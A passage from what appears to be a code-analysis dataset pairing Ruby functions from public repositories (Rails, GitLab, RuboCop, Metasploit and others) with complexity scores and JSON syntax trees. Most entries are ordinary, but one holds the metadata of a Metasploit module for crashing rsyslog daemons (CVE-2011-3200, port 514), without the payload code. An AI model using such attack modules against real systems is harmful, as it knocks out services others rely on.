'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"binary_path\"]}]}]},\"shellescape\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"-d\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-ai \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_id\"]}]},\"shellescape\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gsp_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-gsp \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gsp_path\"]}]},\"shellescape\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-a \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_token\"]}]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-p \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"appletvos\"]}]},{\"type\":\"str\",\"children\":[\"tvos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"shellescape\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command_to_execute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"upload_dsym using command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_to_execute\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"lvar\",\"children\":[\"command_to_execute\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"to_s\"]}]}]},null]}]}]}]}","id":"ce03e50e-cf8d-4040-8fbe-6d9694ffd7ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/migrate_scim_identities.rb","start_line":10,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          connection.execute <<-SQL\n            INSERT INTO group_scim_identities (temp_source_id, group_id, user_id, extern_uid, active, created_at, updated_at)\n            #{sub_batch.select(:id, :group_id, :user_id, :extern_uid, :active, :created_at, :updated_at).to_sql}\n            ON CONFLICT DO NOTHING\n          SQL\n        end\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"            INSERT INTO group_scim_identities (temp_source_id, group_id, user_id, extern_uid, active, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"            \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"extern_uid\"]},{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"updated_at\"]}]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            ON CONFLICT DO NOTHING\\n\"]}]}]}]}]}","id":"8e209ca4-a2e2-422d-8008-feba73322a33"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/fp/result_spec.rb","start_line":54,"raw_source":"def check_result_with_pattern_matching(result)\n        case result\n        in { ok: Symbol => ok_value }\n          { success: ok_value }\n        in { err: String => error_value }\n          { failure: error_value }\n        else\n          raise \"Unmatched result type: #{result.unwrap.class.name}\"\n        end\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_result_with_pattern_matching\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ok\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Symbol\"]},{\"type\":\"match_var\",\"children\":[\"ok_value\"]}]}]}]},null,{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"lvar\",\"children\":[\"ok_value\"]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"err\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"match_var\",\"children\":[\"error_value\"]}]}]}]},null,{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failure\"]},{\"type\":\"lvar\",\"children\":[\"error_value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unmatched result type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"unwrap\"]},\"class\"]},\"name\"]}]}]}]}]}]}","id":"5b35884f-2653-4b45-ab9b-6ccb7f75596a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/asciidoc/html5_converter.rb","start_line":10,"raw_source":"def convert_stem(node)\n        return super unless node.style.to_sym == :latexmath\n\n        %(<pre#{id_attribute(node)} data-math-style=\"display\"><code>#{node.content}</code></pre>)\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_stem\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"style\"]},\"to_sym\"]},\"==\",{\"type\":\"sym\",\"children\":[\"latexmath\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<pre\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id_attribute\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"str\",\"children\":[\" data-math-style=\\\"display\\\"><code>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"content\"]}]},{\"type\":\"str\",\"children\":[\"</code></pre>\"]}]}]}]}","id":"ed5b32dc-03f4-4ead-928a-0cbcb8dd8482"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/config.rb","start_line":693,"raw_source":"def option_set?(instance_key)\n      var = instance_variable_get(\"@#{instance_key}\")\n      !!(defined?(var) && var)\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"option_set?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"var\",{\"type\":\"send\",\"children\":[null,\"instance_variable_get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_key\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]}]},{\"type\":\"lvar\",\"children\":[\"var\"]}]}]},\"!\"]},\"!\"]}]}]}","id":"e48d67b8-49e0-4f2d-b452-147a082d0e6d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/continuation.rb","start_line":26,"raw_source":"def decode_length(io)\n            length = read_short(io)\n\n            length\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_length\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"length\",{\"type\":\"send\",\"children\":[null,\"read_short\",{\"type\":\"lvar\",\"children\":[\"io\"]}]}]},{\"type\":\"lvar\",\"children\":[\"length\"]}]}]}","id":"b355dc69-0b16-459c-b7db-e791bb82cfb9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_loader.rb","start_line":132,"raw_source":"def add_excludes_from_files(config, config_file)\n        exclusion_file = find_last_file_upwards(DOTFILE, config_file, ConfigFinder.project_root)\n\n        return unless exclusion_file\n        return if PathUtil.relative_path(exclusion_file) == PathUtil.relative_path(config_file)\n\n        print 'AllCops/Exclude ' if debug?\n        config.add_excludes_from_higher_level(load_file(exclusion_file))\n      end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add_excludes_from_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"config_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exclusion_file\",{\"type\":\"send\",\"children\":[null,\"find_last_file_upwards\",{\"type\":\"const\",\"children\":[null,\"DOTFILE\"]},{\"type\":\"lvar\",\"children\":[\"config_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigFinder\"]},\"project_root\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exclusion_file\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PathUtil\"]},\"relative_path\",{\"type\":\"lvar\",\"children\":[\"exclusion_file\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PathUtil\"]},\"relative_path\",{\"type\":\"lvar\",\"children\":[\"config_file\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debug?\"]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\"AllCops/Exclude \"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"add_excludes_from_higher_level\",{\"type\":\"send\",\"children\":[null,\"load_file\",{\"type\":\"lvar\",\"children\":[\"exclusion_file\"]}]}]}]}]}","id":"fc9af177-4e8a-4364-8c5a-f3cdb5b0e899"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/syslog/rsyslog_long_tag.rb","start_line":10,"raw_source":"def initialize\n    super(\n      'Name' => 'rsyslog Long Tag Off-By-Two DoS',\n      'Description' => %q{\n          This module triggers an off-by-two overflow in the\n        rsyslog daemon. This flaw is unlikely to yield code execution\n        but is effective at shutting down a remote log daemon. This bug\n        was introduced in version 4.6.0 and corrected in 4.6.8/5.8.5.\n        Compiler differences may prevent this bug from causing any\n        noticeable result on many systems (RHEL6 is affected).\n      },\n      'Author' => 'hdm',\n      'License' => MSF_LICENSE,\n      'References' => [\n        ['CVE', '2011-3200'],\n        ['URL', 'https://www.rsyslog.com/potential-dos-with-malformed-tag/'],\n        ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=727644'],\n      ],\n      'DisclosureDate' => 'Sep 01 2011',\n      'Notes' => {\n        'Stability' => [CRASH_SERVICE_DOWN],\n        'SideEffects' => [],\n        'Reliability' => []\n      }\n    )\n\n    register_options(\n      [\n        Opt::RPORT(514)\n      ]\n    )\n  end","complexity_score":3.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"rsyslog Long Tag Off-By-Two DoS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module triggers an off-by-two overflow in the\\n\"]},{\"type\":\"str\",\"children\":[\"        rsyslog daemon. This flaw is unlikely to yield code execution\\n\"]},{\"type\":\"str\",\"children\":[\"        but is effective at shutting down a remote log daemon. This bug\\n\"]},{\"type\":\"str\",\"children\":[\"        was introduced in version 4.6.0 and corrected in 4.6.8/5.8.5.\\n\"]},{\"type\":\"str\",\"children\":[\"        Compiler differences may prevent this bug from causing any\\n\"]},{\"type\":\"str\",\"children\":[\"        noticeable result on many systems (RHEL6 is affected).\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-3200\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rsyslog.com/potential-dos-with-malformed-tag/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://bugzilla.redhat.com/show_bug.cgi?id=727644\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"Sep 01 2011\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[514]}]}]}]}]}]}","id":"7a86ae94-b15b-41c5-a848-b50312ea4f75"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/csv_builder/lib/csv_builder/builder.rb","start_line":75,"raw_source":"def headers\n      @headers ||= @header_to_value_hash.keys\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@header_to_value_hash\"]},\"keys\"]}]}]}","id":"9fb0ddee-2332-41e4-84dc-72c4b9ca9023"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/scanner.rb","start_line":21,"raw_source":"def initialize(info = {})\n  super\n\n  register_options([\n      Opt::RHOSTS,\n      OptInt.new('THREADS', [ true, \"The number of concurrent threads (max one per host)\", 1 ] )\n    ], Auxiliary::Scanner)\n\n  register_advanced_options([\n    OptBool.new('ShowProgress', [true, 'Display progress messages during a scan', true]),\n    OptInt.new('ShowProgressPercent', [true, 'The interval in percent that progress should be shown', 10])\n  ], Auxiliary::Scanner)\n\nend","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RHOSTS\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"THREADS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of concurrent threads (max one per host)\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Auxiliary\"]},\"Scanner\"]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"ShowProgress\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Display progress messages during a scan\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"ShowProgressPercent\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The interval in percent that progress should be shown\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Auxiliary\"]},\"Scanner\"]}]}]}]}","id":"aa82d345-3568-452c-b1dc-0bd9c1318795"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/autosave_association.rb","start_line":144,"raw_source":"def self.build(model, reflection)\n        model.send(:add_autosave_association_callbacks, reflection)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"reflection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"send\",{\"type\":\"sym\",\"children\":[\"add_autosave_association_callbacks\"]},{\"type\":\"lvar\",\"children\":[\"reflection\"]}]}]}","id":"02ad9797-9c65-48d6-a82b-94eaf55f848b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":282,"raw_source":"def test_invert_change_column_null\n        add = @recorder.inverse_of :change_column_null, [:table, :column, true]\n        assert_equal [:change_column_null, [:table, :column, false]], add\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invert_change_column_null\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"change_column_null\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"change_column_null\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"add\"]}]}]}]}","id":"7975874d-9387-462f-aa32-bc5db1c624ac"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meetings/meeting_filters_component.rb","start_line":62,"raw_source":"def allowed_filter?(filter)\n      allowlist = [\n        Queries::Meetings::Filters::AttendedUserFilter,\n        Queries::Meetings::Filters::AuthorFilter,\n        Queries::Meetings::Filters::InvitedUserFilter,\n        Queries::Meetings::Filters::RecurringFilter\n      ]\n\n      if project.nil?\n        allowlist << Queries::Meetings::Filters::ProjectFilter\n      end\n\n      allowlist.any? { |clazz| filter.is_a? clazz }\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_filter?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"allowlist\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Meetings\"]},\"Filters\"]},\"AttendedUserFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Meetings\"]},\"Filters\"]},\"AuthorFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Meetings\"]},\"Filters\"]},\"InvitedUserFilter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Meetings\"]},\"Filters\"]},\"RecurringFilter\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowlist\"]},\"<<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Meetings\"]},\"Filters\"]},\"ProjectFilter\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowlist\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"clazz\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"is_a?\",{\"type\":\"lvar\",\"children\":[\"clazz\"]}]}]}]}]}","id":"6de22fb3-e04e-4110-94ed-9baa5ef9b3f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/users/callouts_helper.rb","start_line":81,"raw_source":"def web_hook_disabled_dismissed?(object)\n      return false unless object.is_a?(::WebHooks::HasWebHooks)\n\n      user_dismissed?(WEB_HOOK_DISABLED, object.last_webhook_failure, object: object)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"web_hook_disabled_dismissed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WebHooks\"]},\"HasWebHooks\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"user_dismissed?\",{\"type\":\"const\",\"children\":[null,\"WEB_HOOK_DISABLED\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"last_webhook_failure\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}]}]}","id":"196d53fc-f003-4311-af18-677afa83b5b4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/abstract/translation_test.rb","start_line":125,"raw_source":"def test_translate_does_not_mark_plain_text_as_safe_html\n        @controller.stub :action_name, :index do\n          translation = @controller.t(\".hello\")\n          assert_equal \"<a>Hello World</a>\", translation\n          assert_equal false, translation.html_safe?\n        end\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_translate_does_not_mark_plain_text_as_safe_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"action_name\"]},{\"type\":\"sym\",\"children\":[\"index\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"translation\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"t\",{\"type\":\"str\",\"children\":[\".hello\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<a>Hello 